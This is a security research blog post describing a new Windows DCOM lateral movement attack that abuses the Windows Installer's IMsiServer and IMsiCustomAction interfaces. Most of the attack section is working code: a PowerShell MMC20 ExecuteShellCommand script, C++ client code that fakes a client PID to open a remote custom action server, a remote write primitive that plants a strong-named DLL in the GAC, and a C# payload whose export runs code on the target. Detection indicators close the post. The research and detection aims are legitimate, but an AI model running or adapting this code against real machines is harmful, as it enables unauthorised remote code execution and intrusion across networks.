COM classes that can be remotely accessed (with DCOM) are identified with another globally unique identifier (GUID) - AppID

A COM interface can be regarded as an abstract class. It specifies a contract that contains a set of methods that implementing classes must serve. All communication among COM components occurs through interfaces, and all services offered by a component are exposed through its interfaces, which can be represented with a globally unique Interface ID (IID). A COM class can implement several COM interfaces, and interfaces can be inherited from other interfaces. 

COM Interface As a C++ Class

The C++ implementation of interfaces is done with classes. A C++ class is implemented as a struct, with its first member pointing to an array of member functions the class supports. This array is called a virtual table, or vtable for short. 

fig-1-com-nterfaces-and-vtables.png
Figure 1: COM interfaces and vtables

DCOM Research History

Lateral movement through DCOM is a well-known “thing” in cybersecurity, dating back to 2017 when Matt Nelson revealed the first abuse of MMC20.Application::ExecuteShellCommand to run commands on remote systems. Using the research process Matt designed, researchers found more DCOM objects that expose an execution primitive on remote machines, among them: 

  • ShellBrowserWindow revealing ShellExecuteW, Navigate, and Navigate2 

  • Excel.Application revealing ExecuteExcel4Macro, RegisterXLL 

  • Outlook.Application revealing CreateObject 

The same research process was even automated, and it seemed like most of the DCOM attack surface was getting mapped thanks to it – as fewer attacks were revealed over time. In this blog post, I explain how I put the research process to the test to find a new DCOM lateral movement attack.

The Known Method to Research DCOM

Looking for a new DCOM lateral movement method follows the following steps: 

  • Search AppIDs on the machine for entries that have default launch and access permissions 

    • James Forshaws OleView .NET tool correlates this data and other useful information 
  • AppIDs found with the prior criteria represent DCOM objects that are remotely accessible for users with a local admin privilege 

  • Explore suspected objects, traditionally with PowerShell, which gives easy access to object creation, displaying interface methods & properties, and invoking them 

  • Repeat the prior step until a method that can run custom code has been located 

Here I am applying those steps to implement the known MMC20.Application::ExecuteShellCommand lateral movement attack: 

  • The AppID 7E0423CD-1119-0928-900C-E6D4A52A0715, which hosts the MMC20.Application class, has default permissions 

fig-2-Mmc-Default-Premissions.png
Figure 2: MMC default permissions

 

  • The AppID mentioned above maps to the CLSID 49B2791A-B1AE-4C90-9B8E-E860BA07F889 

  • Exploring the object created from said CLSID in PowerShell: 

PS C:\> $com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889")

PS C:\> $mmcApp = [System.Activator]::CreateInstance($com)

PS C:\> Get-Member -InputObject $mmcApp

TypeName: System.__ComObject#{a3afb9cc-b653-4741-86ab-f0470ec1384c}
NameMemberTypeDefinition
HelpMethodvoid Help ()
HideMethodvoid Hide ()
DocumentPropertyDocument Document () {get}

  • Repeating the queries on discovered properties reveals the method ExecuteShellCommand which allows RCE 

 PS C:\> Get-Member -InputObject $mmcApp.Document.ActiveView

TypeName: System.__ComObject#{6efc2da2-b38c-457e-9abb-ed2d189b8c38}
NameMemberTypeDefinition
BackMethodvoid Back ()
CloseMethodvoid Close ()
ExecuteShellCommandMethodvoid ExecuteShellCommand (string, string, string, string)

  • Finally, we create a DCOM session and invoke the method we found to complete the attack. 

<# MMCExec.ps1 #>

$com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889", "TARGET.I.P.ADDR")

$mmcApp = [System.Activator]::CreateInstance($com)

$mmcApp.Document.ActiveView.ExecuteShellCommand("file.exe", "/c commandline", "c:\file\folder",$null, 0)

The Query for a New Attack

Using this recipe, I started searching for a new DCOM lateral movement attack. Here are my findings: 

  • AppID 000C101C-0000-0000-C000-000000000046 has default permissions, OleView .NET reveals the following details: 

  • Hosted on the Windows Installer service (msiexec.exe

  • Hosts a COM object named “Msi install server“ with a CLSID equal to the AppID 

  • The object exposes an interface named IMsiServer, with an IID equal to the AppID 

  • The class and interface are implemented in msi.dll (pointed from ProxyStubClsid32 registry key) 

fig-3-Msi-install-server.png
Figure 3: Msi Install Server

fig-4-msi-install-server-default-permissions.png
Figure 4: Msi install server default permissions

  • The name of the object and its location within the installer service piqued my interest, so I continued to query its methods with PowerShell: 

PS C:\> $com = [Type]::GetTypeFromCLSID("000C101C-0000-0000-C000-000000000046")

PS C:\> $obj = [System.Activator]::CreateInstance($com)

PS C:\> Get-Member -InputObject $obj

TypeName: System.__ComObject
NameMemberTypeDefinition
CreateObjRefMethod

System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType)

EqualsMethodboot Equals (System.Object obj)
GetHashCodeMethodint GetHashCode()

The results describe generic .NET object methods, and the “TypeName” field does not point to the IMsiServer IID. This means the PowerShell runtime failed to query information on the IMsiServer object; we can't search for an attack this way. 

The difference between the successful example of our MMC20.Application and our current IMsiServer is the IDispatch interface, which the former implements and the latter does not.  

fig-5-mmc-vs-msi.png
Figure 5: MMC20.Application vs Msi install server
IDispatch

IDispatch is a fundamental COM interface, that allows scripting languages (VB, PowerShell) and higher-level languages (.NET) to interact with COM objects that implement it without prior knowledge. It achieves this by exposing unified methods that describe and interact with the implementing object. Among those methods are: 

  • IDispatch::GetIDsOfNames maps names of methods or properties to an integer value named DISPID. 

  • IDispatch::Invoke calls one of the object's methods according to a DISPID. 

All of the known DCOM lateral movement attacks are built on documented IDispatch-based interfaces, allowing easy interaction through PowerShell. The ease of interacting with IDispatch interfaces blinded the security community to a large portion of possible attacks. 

To solve this issue and further our research with IMsiServer, which lacks documentation and does not support IDispatch, we need to design an alternative approach that does not depend on PowerShell. 

 

Reversing Interface Definitions

 

To learn more about IMsiServer, we must inspect the DLL containing the interface definition - msi.dll: 

  • Using IDA and searching msi.dll for the hex bytes representing the IID of IMsiServer - 1C 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46 we find a symbol named IID_IMsiServer

fig-6-ida-byte-search.png
Figure 6: IDA byte search

fig-7-the-result-symbol.png
Figure 7: The result symbol

  • Cross referencing IID_IMsiServer, we find CMsiServerProxy::QueryInterface, which is a part of the client’s implementation for the IMsiServer interface. 

  • Cross referencing CMsiServerProxy::QueryInterface reveals the interface’s vtable in the .rdata section: 

fig-8-CMsiServerProxy-vftable.png
Figure 8: CMsiServerProxy::`vftable' 

With this data and some extra definitions, I recreated the IMsiServer Interface: 

struct IMsiServer : IUnknown

{

    virtual iesEnum InstallFinalize( iesEnum iesState,  void* riMessage,  boolean fUserChangedDuringInstall) = 0;

    virtual IMsiRecord* SetLastUsedSource( const ICHAR* szProductCode,  const wchar_t* szPath, boolean fAddToList,  boolean fPatch) = 0;

    virtual boolean Reboot() = 0;

    virtual int DoInstall( ireEnum ireProductCode,  const ICHAR* szProduct,  const ICHAR* szAction,const ICHAR* szCommandLine,  const ICHAR* szLogFile,int iLogMode,  boolean fFlushEachLine,  IMsiMessage* riMessage,  iioEnum iioOptions , ULONG, HWND__*, IMsiRecord& ) = 0;

    virtual HRESULT IsServiceInstalling() = 0;

    virtual IMsiRecord* RegisterUser( const ICHAR* szProductCode,  const ICHAR* szUserName,const ICHAR* szCompany,  const ICHAR* szProductID) = 0;

    virtual IMsiRecord* RemoveRunOnceEntry( const ICHAR* szEntry) = 0;

    virtual boolean CleanupTempPackages( IMsiMessage& riMessage, bool flag) = 0;

    virtual HRESULT SourceListClearByType(const ICHAR* szProductCode, const ICHAR*, isrcEnum isrcType) = 0;

    virtual HRESULT SourceListAddSource( const ICHAR* szProductCode,  const ICHAR* szUserName,  isrcEnum isrcType,const ICHAR* szSource) = 0 ;

    virtual HRESULT SourceListClearLastUsed( const ICHAR* szProductCode,  const ICHAR* szUserName) = 0;

    virtual HRESULT RegisterCustomActionServer( icacCustomActionContext* picacContext,  const unsigned char* rgchCookie,  const int cbCookie, IMsiCustomAction* piCustomAction,  unsigned long* dwProcessId,  IMsiRemoteAPI** piRemoteAPI,  DWORD* dwPrivileges) = 0;

    virtual HRESULT CreateCustomActionServer( const icacCustomActionContext icacContext,  const unsigned long dwProcessId,  IMsiRemoteAPI* piRemoteAPI,const WCHAR* pvEnvironment,  DWORD cchEnvironment,  DWORD dwPrivileges,  char* rgchCookie,  int* cbCookie,  IMsiCustomAction** piCustomAction,  unsigned long* dwServerProcessId,DWORD64 unused1, DWORD64 unused2) = 0;

[snip]

}

Remote Installations?

The DoInstall function immediately stands out as a promising candidate to perform lateral movement installing an MSI on a remote machine. However, an inspection of its server-side implementation at CMsiConfigurationManager::DoInstall shows it isn’t possible remotely: 

// Simplified pseudo code

CMsiConfigurationManager::DoInstall([snip])

{

[snip]

if (!OpenMutexW(SYNCHRONIZE, 0, L"Global\\_MSIExecute"))

return ERROR_INSTALL_FAILURE;

[snip]

}

This code means when invoking a DCOM call for IMsiServer::DoInstall, the remote server will check the existence of a mutex named Global\\_MSIExecute. This mutex is not open by default, thus the call will fail.  

Msi.dll creates this mutex from functions inaccessible to our IMsiServer interface, so we must find a different function to abuse IMsiServer

Remote Custom Actions

My second candidate for abuse is: 

HRESULT IMsiServer::CreateCustomActionServer(

    const icacCustomActionContext icacContext,

    const unsigned long dwProcessId,

    IMsiRemoteAPI* piRemoteAPI,

    const WCHAR* pvEnvironment, 

    DWORD cchEnvironment, 

    DWORD dwPrivileges, 

    char* rgchCookie, 

    int* cbCookie, 

    IMsiCustomAction** piCustomAction, 

    unsigned long* dwServerProcessId,

    bool unkFalse);

It creates the output COM object- IMsiCustomAction** piCustomAction, which, according to its name, can invoke a “custom action” on my remote target. 

Reversing the server-side code in CMsiConfigurationManager::CreateCustomActionServer we learn it impersonates the DCOM client and creates a child MSIEXEC.exe with its identity, which hosts the result IMsiCustomAction** piCustomAction 

Searching msi.dll for symbols on IMsiCustomAction reveals its IID: 

fig-9-IDA-symbols-for-IID_IMsiCustomAction.png
Figure 9: IDA symbols for IID_IMsiCustomAction

Using the symbol to perform the same cross-reference we did to discover IMsiServer, we can recreate IMsiCustomAction’s interface definition: 

IID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

// Interface is trimmed for simplicty

struct IMsiCustomAction : IUnknown

{

    virtual HRESULT PrepareDLLCustomAction(ushort const *,ushort const *,ushort const *,ulong,uchar,uchar,_GUID const *,_GUID const *,ulong *)=0;

    virtual HRESULT RunDLLCustomAction(ulong,ulong *) = 0;

    virtual HRESULT FinishDLLCustomAction(ulong) = 0;

    virtual HRESULT RunScriptAction(int,IDispatch *,ushort const *,ushort const *,ushort,int *,int *,char * *) = 0;

[snip]

    virtual HRESULT URTAddAssemblyInstallComponent(ushort const*,ushort const*, ushort const*) = 0;

    virtual HRESULT URTIsAssemblyInstalled(ushort const*, ushort const*, int*, int*, char**) = 0;

    virtual HRESULT URTProvideGlobalAssembly(ushort const*, ulong, ulong*) = 0;

    virtual HRESULT URTCommitAssemblies(ushort const*, int*, char**) = 0;

    virtual HRESULT URTUninstallAssembly(ushort const*, ushort const*, int*, char**) = 0;

    virtual HRESULT URTGetAssemblyCacheItem(ushort const*, ushort const*, ulong, int*, char**) = 0;

    virtual HRESULT URTCreateAssemblyFileStream(ushort const*, int) = 0;

    virtual HRESULT URTWriteAssemblyBits(char *,ulong,ulong *) = 0;

    virtual HRESULT URTCommitAssemblyStream() = 0;

[snip]

    virtual HRESULT LoadEmbeddedDLL(ushort const*, uchar) = 0;

    virtual HRESULT CallInitDLL(ulong,ushort const *,ulong *,ulong *) = 0;

    virtual HRESULT CallMessageDLL(UINT, ulong, ulong*) = 0;

    virtual HRESULT CallShutdownDLL(ulong*) = 0;

    virtual HRESULT UnloadEmbeddedDLL() = 0;

[snip]

};

With names like RunScriptAction and RunDLLCustomAction it seems like IMsiCustomAction might be our treasure trove. But, before we open it, we have to first create it with a DCOM call to IMsiServer::CreateCustomActionServer. Let's build our attack client: 

// Code stripped from remote connection and ole setupCOSERVERINFO coserverinfo = {};

coserverinfo.pwszName = REMOTE_ADDRESS;

coserverinfo.pAuthInfo = pAuthInfo_FOR_REMOTE_ADDRESS;

CLSID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

IID IID_IMsiServer = CLSID_MsiServer;

MULTI_QI qi ={};

qi.pIID = &IID_IMsiServer; // the interface we aim to get

HRESULT hr = CoCreateInstanceEx(CLSID_MsiServer, NULL, CLSCTX_REMOTE_SERVER, &coserverinfo, 1, &qi) ;

IMsiServer* pIMsiServerObj = qi.pItf;

At this point pIMsiServerObj points to our client IMsiServer interface. Now we need to create the correct arguments for IMsiServer::CreateCustomActionServer 

Notable arguments: 

  1. dwProcessId is expected to contain the client PID and is treated as a local PID on the server side. If we provide our true client PID, the server side will fail to find it on the remote target and the call will fail. We can trick this check and set dwProcessId=4, pointing to the always-existing System process 

  2. PiRemoteAPI, which should point to an IMsiRemoteAPI instance, is the trickiest to initialize. Searching through symbols from msi.dll gives us the IID of that interface 

fig-10-IDA- symbols-for- IID_IMsiRemoteAPI.png
Figure 10: IDA symbols for IID_IMsiRemoteAPI 

IID IID_IMsiRemoteApi = { 0x000c1033,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

However, because CLSID_MSISERVER does not implement IID_IMsiRemoteApi, we can't directly create it with a call to: 

HRESULT hr = CoCreateInstance(CLSID_MSISERVER, NULL, CLSCTX_INPROC_SERVER, IID_IMsiRemoteApi ,&piRemoteAPI) ;

Discovering An Implementing CLSID

Heads up: this section covers a technical reverse-engineering process. We will demonstrate how to correctly invoke IMsiServer::CreateCustomActionServer. If you're not interested in the detailed drill-down, feel free to skip to “The Secured Actions.”  

To create an instance of IMsiRemoteApi we need to find the CLSID of the class that implements it. We’ll start by searching for a symbol named CLSID_MsiRemoteApi in msi.dll. However, this time no results are returned: 

fig-11-no-results-CLSID_MsiRemoteApi.png
Figure 11: No results searching CLSID_MsiRemoteApi

We are left trying to trace where IID_IMsiRemoteApi is created within msi.dll, using cross-references: 

  • Cross-referencing IID_IMsiRemoteApi, we find CMsiRemoteAPI::QueryInterface, which is part of the IMsiRemoteApi interface 

  • Searching CMsiRemoteAPI::QueryInterface leads to IMsiRemoteApi’s vtable in the .rdata section, which is marked with a symbol named ??_7CMsiRemoteAPI@@6B@: 

fig-12-CMsiRemoteApiVtable.png
Figure 12: CMsiRemoteAPI::`vftable' 

  • Searching ??_7CMsiRemoteAPI@@6B@ leads to CMsiRemoteAPI::CMsiRemoteAPI, which is the constructor for IMsiRemoteApi instances 

  • Searching the constructor leads to CreateMsiRemoteAPI, a factory method that invokes it 

  • Searching the factory method shows it’s the 9th element in an array of factory methods named rgFactory, which are located in the .rdata section: 

fig-13-rgFactory .png
Figure 13: rgFactory 

  • Searching usages of rgFactory shows it's used in CModuleFactory::CreateInstance:  

fig-14-CModuleFactory-CreateInstance.png
Figure 14: CModuleFactory::CreateInstance’s reversed pseudo code 

We can see that CModuleFactory::CreateInstance pulls a method from rgFactory at an index and invokes it to create an object and return it with outObject

This will happen if, at the same index, a GUID pulled from rgCLSID (green line in the snippet) is equal to the input argument _GUID *inCLSID

rgCLSID is a global variable that points to a CLSID array in the .rdata section

fig-15-rgCLSID.png
Figure 15: rgCLSID snipped 

 

The 9th element in this array, which will cause invocation of CreateMsiRemoteAPI (the 9th member of rgFactory), is the CLSID: 

CLSID CLSID_MsiRemoteApi = { 0x000c1035,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

This means that if CModuleFactory::CreateInstance is invoked with a CLSID_MsiRemoteApi, it will create our desired instance of IMsiRemoteAPI* piRemoteAPI

We are now left with a task to invoke CModuleFactory::CreateInstance from our client code. 

IClassFactory

While CModuleFactory::CreateInstance is not a public export, cross-referencing it leads to CModuleFactory's vtable: 

fig-16-CModuleFactory-Vtable.png
Figure 16: CModuleFactory's vtable

The first method in the vtable is a QueryInterface implementation, which means CModuleFactory is an interface implementation. The next two Nullsubs are empty implementations of IUnkown::AddRef & IUnkown::Release, and the next two methods are: 

  • CreateInstance (which we reversed) 

  • LockServer 

Searching those methods in MSDN reveals IClassFactory, an interface that defines a factory design pattern for COM object creation in implementing DLLs. The functionality of this interface is accessed through a method called DllGetClassObject, which is exported by the implementing DLLs, including msi.dll.

This is how we invoke msi.dll!DllGetClassObject to create our target IMsiRemoteAPI* piRemoteAPI

// code stripped from error handling

typedef HRESULT(*DllGetClassObjectFunc)(

    REFCLSID rclsid,

    REFIID   riid,

    LPVOID* ppv

);

// we dont need the definition of IMsiRemoteApi if we just want to instantiate it  

typedef IUnknown IMsiRemoteApi; 

HMODULE hmsi = LoadLibraryA("msi.dll");

IClassFactory* pfact;

IUnknown* punkRemoteApi;

IMsiRemoteApi* piRemoteAPI;

DllGetClassObjectFunc DllGetClassObject = (DllGetClassObjectFunc)GetProcAddress(hdll, "DllGetClassObject");

// creating the CLSID_MsiRemoteApi class

HRESULT hr = DllGetClassObject(CLSID_MsiRemoteApi, IID_IClassFactory, (PVOID*)&pfact);

// piRemoteAPI initilized to IMsiRemoteApi*

hr = pfact->CreateInstance(NULL, CLSID_MsiRemoteApi, (PVOID*)&punkMsiRemoteApi);

hr = punkMsiRemoteApi->QueryInterface(IID_IMsiRemoteApi, reinterpret_cast<void**>(piRemoteAPI));

We can now invoke IMsiServer::CreateCustomActionServer to create the target IMsiCustomAction** piCustomAction instance: 

IMsiRemoteAPI* pRemApi = // created above;

const int cookieSize = 16; // a constant size CreateCustomActionServer anticipates

icacCustomActionContext icacContext = icac64Impersonated; // an enum value

const unsigned long fakeRemoteClientPid = 4;

unsigned long outServerPid = 0;

IMsiCustomAction* pMsiAction = nullptr; // CreateCustomActionServer's output

int iRemoteAPICookieSize = cookieSize;

char rgchCookie[cookieSize];

WCHAR* pvEnvironment = GetEnvironmentStringsW();

DWORD cEnv = GetEnvironmentSizeW(pvEnvironment);

HRESULT msiresult =  pIMsiServerObj->CreateCustomActionServer(icacContext, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction,&outServerPid,0, 0);

The Secured Actions

Our newly created IMsiCustomAction* pMsiAction allows us to run “custom actions” from a remote MSIEXEC.EXE process, and now our focus is finding a method from IMsiCustomAction that can execute code – giving us a new lateral movement technique.  

As we have seen before, IMsiCustomAction contains a couple of promising function names like RunScriptAction and RunDLLCustomAction 

Reversing these functions shows that they allow loading and running an export from a DLL of our liking or executing in-memory custom script contents (VBS or JS)! Seems too good to be true? It is. 

Windows prevents this functionality from being invoked in a remote DCOM context, with a simple check at the start of these functions: 

if(RPCRT4::I_RpcBindingInqLocalClientPID(0, &OutLocalClientPid)&&
 
OutLocalClientPid != RegisteredLocalClientPid)

{

return
ERROR_ACCESS_DENIED;

}

It turns out I_RpcBindingInqLocalClientPID fails when a client is remote (during a DCOM session), and we are blocked. 

We need to look for functions where this security check does not exist.

Unsecured Load Primitive 

We will now focus our search on unsecured IMsiCustomAction methods by cross-referencing usages of I_RpcBindingInqLocalClientPID and exploring functions of IMsiCustomAction that don’t use it. 

The next function that meets this criterion is IMsiCustomAction::LoadEmbeddedDll(wchar_t const* dllPath, bool debug);.  

Reversing this function reveals: 

  1. LoadEmbeddedDLL invokes Loadlibrary on the dllPath parameter and saves its handle. 

  2. Attempts to resolve three exports from dllPath and saves their address. 

    1. InitializeEmbeddedUI 

    2. ShutdownEmbeddedUI 

    3. EmbeddedUIHandler 

  3. LoadEmbeddedDLL will not fail on non-existing exports 

Testing confirms that we have a remote load primitive on every DLL on the remote system! 

 // Loads any DLL path into the remote MSIEXEC.exe instance hosting pMsiAction
pMsiAction->LoadEmbeddedDLL(L"C:\Windows\System32\wininet.dll",false);

Is this enough for lateral movement? Not on its own. Simply loading a benign pre-existing DLL from the target system’s HD does not give us control over the code the DLL runs at load time.  

However, if we could remotely write a DLL to the machine and provide its path to LoadEmbeddedDLL we would find a full attack. 

Some attacks delegate responsibility after finding such a primitive and suggest separately writing a payload to the machine with SMB access. However, this type of access is very noisy, and usually blocked. 

Using IMsiCustomAction I aim to find a self-sufficient write primitive to the remote machine’s HD. 

A Remote Write Primitive

A combination of function names in the IMsiCustomAction interface leads me to believe a remote write primitive is possible: 

  • IMsiCustomAction::URTCreateAssemblyFileStream 

  • IMsiCustomAction::URTWriteAssemblyBits 

Reversing IMsiCustomAction::URTCreateAssemblyFileStream shows a couple of initializing functions must run before it. 

The following sequence will allow us to create a file stream, write to it, and commit it:

1. The below function will initialize data required for invoking the next function

HRESULT IMsiCustomAction::URTAddAssemblyInstallComponent(

wchar_t const* UserDefinedGuid1,

wchar_t const* UserDefinedGuid2,

wchar_t const* UserDefinedName);

2. The following function creates an internal instance of IAssemblyCacheItem*, a documented object that manages a file stream 

HRESULT IMsiCustomAction::URTGetAssemblyCacheItem(

wchar_t const* UserDefinedGuid1,

wchar_t const* UserDefinedGuid2,

ulong zeroed,

int* pInt,

char** pStr);

3.  Then URTCreateAssemblyFileStream invokes IAssemblyCacheItem::CreateStream and creates an instance of IStream* with the parameters provided above. The future file’s name will be FileName. It will save the IStream* to an internal variable. 

HRESULT IMsiCustomAction::URTCreateAssemblyFileStream(
wchar_t const* FileName,

int Format);

4. The function below invokes IStream::Write to write the number of bytes specified in ulong cb from const char* pv to the file stream and returns the number of bytes written in pcbWritten

HRESULT IMsiCustomAction::URTWriteAssemblyBits(

const char* pv,

ulong cb, ulong* pcbWritten);

5. Finally, the following function commits the Stream contents to a new file, using IStream::Commit

 HRESULT IMsiCustomAction::URTCommitAssemblyStream();

We’ll prepare a dummy payload.dll, and upload it to the target machine with the prior function sequence: 

char* outc = nullptr;

int outi = 0;

LPCWSTR mocGuid1 = L"{13333337-1337-1337-1337-133333333337}";

LPCWSTR mocGuid2 = L"{13333338-1338-1338-1338-133333333338}";

LPCWSTR asmName = L"payload.dll";

LPCWSTR assmblyPath = L"c:\local\path\to\your\payload.dll";

hr = pMsiAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName);

hr = pMsiAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0,&outi ,&outc);

hr = pMsiAction->URTCreateAssemblyFileStream(assmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST);

HANDLE hAsm = CreateFileW(assmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

DWORD asmSize, sizeRead;

GetFileSize(hAsm, NULL);

char* content = new char[asmSize];

readStatus = ReadEntireFile(hAsm, asmSize, &sizeRead, content);

ulong written = 0;

hr = pMsiAction->URTWriteAssemblyBits(content, asmSize, &written);

hr = pMsiAction->URTCommitAssemblyStream();

The entire sequence succeeds; however, we get no indication of where payload.dll was written. 

Searching the remote machine for a file named payload.dll reveals its path:  

fig-17-Searching-the-payload .png
Figure 17: Searching the payload.dll file on the target 

Re-running our code generates payload.dll in a similar path: 

fig-18-Searching-the-payload2.png
Figure 18: Searching payload.dll after a re-run 

The format of those paths is C:\assembly\tmp\[RANDOM_8_LETTERS]\payload.dll. Since RANDOM_8_LETTERS cannot be predicted we can't just follow up with a call to our load primitive IMsiCustomAction::LoadEmbeddedDll on the said path. 

We need to find a way to put our payload.dll in a predictable path, and IMsiCustomAction hooks us up yet again 

Controlling The Path

The next method we reverse is IMsiCustomAction::URTCommitAssemblies and we find out it uses the documented function IAssemblyCacheItem::Commit on the stream: 

This function installs a .NET assembly to the Global Assembly Cache (GAC), under a predictable path within C:\Windows\Microsoft.NET\assembly\GAC*. This makes using IMsiCustomAction::URTCommitAssemblies our new goal. 

Assemblies stored in the GAC must be identified with a strong name a signature created with a public-private key pair that ensures the uniqueness of the assembly. 

Considering this, with our goal to successfully use URTCommitAssemblies and plant our payload in a predictable path, we will change payload.dll to a .NET assembly DLL with a strong name: 

// example x64 dummy POC for .NET payload.dll

// a strong name should be set for the dll in the VS compilation settings

namespace payload

{

    public class Class1

{

        public static void DummyNotDLLMain()

{

}

}

}

We update our code to use IMsiCustomAction::URTCommitAssemblies on the new payload and re-run it: 

HRESULT URTCommitAssemblies(wchar_t const* UserDefinedGuid1, int* pInt, char** pStr);

int outIntCommit = 0;

char* outCharCommit = nullptr;

// mocGuid1 is the same GUID we created for invoking URTAddAssemblyInstallComponent

hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);

Payload.dll is now uploaded to: 

fig-19-payload-in-GAC-folder.png
Figure 19: payload.dll uploaded to the GAC folder after URTCommitAssemblies

Analyzing each token on this path with accordance to payload.dll’s strong name details, we derive the GAC path structure for installed assemblies (valid for .NET version => 4): 

C:\Windows\Microsoft.NET\assembly\GAC_[assembly_bitness]\[assembly_name]\v4.0_[assembly_version]__[public_key_token]\[assembly_name].dll 

Getting those details from a strong-named DLL can be done using sigcheck.exe (Sysinternals) and sn.exe (.NET Framework tools) 

We have managed to install an assembly DLL to a predictable path in the GAC and figure out the path structure. Let's now incorporate our efforts into the attack: 

// resuming from our last code snippets

// our payload is the dummy .NET payload.dll

// URTCommitAssemblies commits payload.dll to the GAC

hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);


std::wstring payload_bitness = L"64"; // our payload is x64

std::wstring payload_version = L"1.0.0.0"; // sigcheck.exe -n payload.dll

std::wstring payload_assembly_name = L"payload";

std::wstring public_key_token = L"136e5fbf23bb401e"; // sn.exe -T payload.dll


// forging all elements to the GAC path

std::wstring payload_gac_path = std::format(L"C:\\Windows\\Microsoft.NET\\assembly\\GAC_{0}\\{1}\\v4.0_{2}__{3}\\{1}.dll", payload_bitness, payload_assembly_name, payload_version,public_key_token);

hr = pMsiAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0);

The updated attack code runs successfully, and to confirm our payload was loaded to the remote MSIEXEC.exe we break into it in Windbg and query:

fig-20-windbg-confirms-payload-in-GAC.png
Figure 20: Windbg confirms payload.dll is loaded from the GAC

Success! But we’re not quite done yet, as .NET assemblies do not have “DllMain” functionality on native processes, so no code is running. There are a couple of possible workarounds, but our solution will be adding an export to our payload.dll assembly. As for calling this export, IMsiCustomAction has us covered once more. 

Running .NET Exports

As I’ve mentioned, IMsiCustomAction::LoadEmbeddedDLL attempts to resolve some exports after loading a requested DLL and saves the results. When searching for code using the address of the results, we reveal three IMsiCustomAction methods, each invoking a respective export from the loaded DLL: 

  1. IMsiCustomAction::CallInitDLL invokes InitializeEmbeddedUI 

  2. IMsiCustomAction::CallShutdownDLL invokes ShutdownEmbeddedUI 

  3. IMsiCustomAction::CallMessageDLL invokes EmbeddedUIHandler 

Each method provides different arguments to the respective export, and we will use IMsiCustomAction::CallInitDLL which provides the richest argument set: 

HRESULT CallInitDLL(ulong intVar, PVOID pVar, ulong* pInt, ulong* pInitializeEmbeddedUIReturnCode);

// CallInitDLL calls InitializeEmbeddedUI with the following args:

DWORD InitializeEmbeddedUI(ulong intVar, PVOID pVar, ulong* pInt)

The combination of ulong intVar and PVOID pVar allows us great flexibility running our payload. For example, PVOID pVar can point to a shellcode our payload will execute, and ulong intVar will be its size. 

For this POC, we will create a simple implementation of InitializeEmbeddedUI in our payload.dll that displays a message box with attacker-controlled content. 

We’ll export InitializeEmbeddedUI from our assembly to a native caller (msi.dll) with the “.export" IL descriptor 

We can now present the final POC of payload.dll: 

using System;

using System.Diagnostics;

using System.Runtime.InteropServices;

using
RGiesecke.DllExport; // [DllExport] wraps ".export"

namespace
payload

{

public
class Class1

{

[DllImport("wtsapi32.dll", SetLastError = true)]

static extern bool WTSSendMessage(IntPtr hServer, [MarshalAs(UnmanagedType.I4)] int SessionId, String pTitle, [MarshalAs(UnmanagedType.U4)] int TitleLength, String pMessage, [MarshalAs(UnmanagedType.U4)] int MessageLength, [MarshalAs(UnmanagedType.U4)] int Style, [MarshalAs(UnmanagedType.U4)] int Timeout, [MarshalAs(UnmanagedType.U4)] out int pResponse, bool bWait);

[DllExport]

public static int InitializeEmbeddedUI(int messageSize,[MarshalAs(UnmanagedType.LPStr)] string attackerMessage, IntPtr outPtr)

{

string title = "MSIEXEC - GAC backdoor installed";

    IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;

    // The POC will display a message to the first logged on user in the target

    int WTS_CURRENT_SESSION = 1;

    int resp = 1;

    // Using WTSSendMessage to create a messagebox form a service process at the users desktop

    WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, title, title.Length, attackerMessage, messageSize, 0, 0, out resp, false);

return 1337;

}

}

}

And the final lines of our DCOM Upload & Execute attack: 

// runs after our call to pMsiAction->LoadEmbeddedDLL, loading our payload assembly

ulong ret1, ret2;

std::string messageToVictim = "Hello from DCOM Upload & Execute";

hr = pMsiAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &ret1, &ret2);

 Running the complete attack code will pop a message box on the remote target PC:

fig-21-DCOMUploadExec-commandlie.png
Figure 21: DCOM Upload and Execute Client Commandline

fig-22-result-on-target-victim.png
Figure 22: Result on target victim

For the full source code: https://github.com/deepinstinct/DCOMUploadExec 

Limitations

  1. The attacker and victim machines must be in the same domain or forest. 

  2. The attacker and victim machines must be consistent with the DCOM Hardening patch, either with the patch applied on both systems or absent on both. 

  3. The uploaded & executed assembly payload must have a strong name 

  4. The uploaded & executed assembly payload must be either x86 or x64 (Can't be AnyCPU) 
Detection

This attack leaves clear IOCs that can be detected and blocked 

  1. Event logs that contain remote authentication data: 

    fig-23-Remote-login-event-log.png
    Figure 23: Remote login event log 

  2. An MSIEXEC service that creates a child (the custom action server) with the command line pattern C:\Windows\System32\MsiExec.exe -Embedding [HEXEDICAMAL_CHARS] 
    fig-24-proccess-tree-DCOMUploadExec.png
    Figure 24: Process tree during DCOM Upload & Exec
  3. The child MSIEXEC writes a DLL to the GAC 

  4. The child MSIEXEC loads a DLL from the GAC 
Summary

Until now, DCOM lateral movement attacks have been exclusively researched on IDispatch-based COM objects due to their scriptable nature. This blog post presents a complete method for researching COM and DCOM objects without depending on their documentation or whether they implement IDispatch. 

